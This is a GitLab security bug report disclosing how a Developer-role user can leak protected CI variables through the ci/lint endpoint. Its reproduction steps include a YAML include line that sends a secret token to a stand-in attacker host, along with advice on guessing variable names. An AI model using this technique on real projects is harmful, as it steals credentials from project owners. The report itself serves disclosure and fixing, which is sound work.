Backend: Developer who can't run pipelines on protected branches can exfiltrate default branch protected CI variables via ci/lint
Summary
A developer member lacking the ability to run a pipeline on a project's default branch can exfiltrate default branch protected CI variables via ci/lint endpoints (UI or API).
Context
GitLab ships with the following defaults:
- Default branches are protected
- Running a pipeline on a protected branch requires Maintainer or Owner role, Developer members can not run pipelines on protected branches
- POST requests to
[...]/ci/lintendpoints will use the project's default branch when "Simulate a pipeline created for the default branch" box is unchecked (UI) ordry_runor is false (API) by default
The permission to merge or push to protected branches defines whether or not a user can run CI/CD pipelines and trigger CI jobs for protected branches. References:
- https://docs.gitlab.com/ee/user/project/protected_branches.html#run-pipelines-on-protected-branches
- https://docs.gitlab.com/ee/ci/pipelines/index.html#pipeline-security-on-protected-branches
Steps to reproduce
Two users are required to reproduce this. For simplicity and clarity, we'll name these users victim and attacker.
-
Create a new project as
victim(e.g.gitlab.example.com/victim/<project_name>) -
Go to this project's Settings > CI/CD > Variables, add a PROTECTED variable named
SECRET_TOKENwith valuesuper_secret_token -
Invite
attackertovictim/<project_name> -
As
attacker, verify that you cannot merge changes directly to.gitlab-ci.ymlor run a pipeline on thevictim/<project_name>'s default branch because it's a protected branch (by default) Reference: https://docs.gitlab.com/ee/ci/pipelines/index.html#pipeline-security-on-protected-branches1. As attacker, spin up an external webserver which will log requests (or use webhook.site to generate a webhook URL) -
Visit
gitlab.example.com/victim/<testproject>/-/ci/lintand add the following content to the "Contents of .gitlab-ci.yml` input box:include: - https://attacker-site.example.com/${SECRET_TOKEN}.yml -
Verify that
super_secret_tokenwas transmitted in plaintext to the attacker-controlled external endpoint in the logged/captured request URL
Note: successful attack requires the attacker knowing or guessing the name of a protected $CI_VARIABLE. This adds a degree of "security through obscurity", but this can generally be overcome as protected $CI_VARIABLES are often referenced in a project's pipeline configuration. For example, in real-world use cases, if $SECRET_TOKEN is set as a protected variable in a project, then it's likely that this project will reference ${SECRET_TOKEN} or $SECRET_TOKEN in the pipeline configuration YAML files being used by this project.
What is the current bug behavior?
Developer users unable to run pipelines on protected branches can exfiltrate protected variables on the default branch via POST request to ci/lint.
What is the expected correct behavior?
Only users allowed to merge or push to a default/protected branch can make POST requests to <project>/ci/lint endpoints.
Output of checks
This bug happens on GitLab.com
Possible fixes
Check whether a user making POST requests to a project's /ci/lint endpoints has the ability to merge or push to protected branches. If not, POST requests to the ci/lint endpoint targeting protected branches should fail.